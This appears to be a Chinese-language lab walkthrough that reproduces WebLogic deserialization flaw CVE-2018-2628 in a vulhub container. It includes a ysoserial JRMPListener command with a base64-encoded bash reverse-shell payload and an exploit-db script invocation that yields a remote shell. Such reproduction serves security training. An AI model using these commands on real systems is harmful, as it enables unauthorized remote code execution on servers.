Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
1.漏洞介绍:
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
2.环境搭建
在vulhub中使用docker拉取镜像,启动环境
docker-compose up -d
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console
,初始化整个环境
3.漏洞复现过程
1.使用工具
这个工具能检测weblogic反序列化漏洞,并能进行利用
命令执行:
文件上传:
上传成功如图
2.不使用工具
需要下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]
即为我想执行的命令,而[listen port]
是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4455 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'
然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001
)发送数据包:
脚本链接:https://www.exploit-db.com/exploits/44553
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
。
python2 weblogic.py 192.168.241.129 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.241.128 4455 JRMPClient
此时成功反弹shell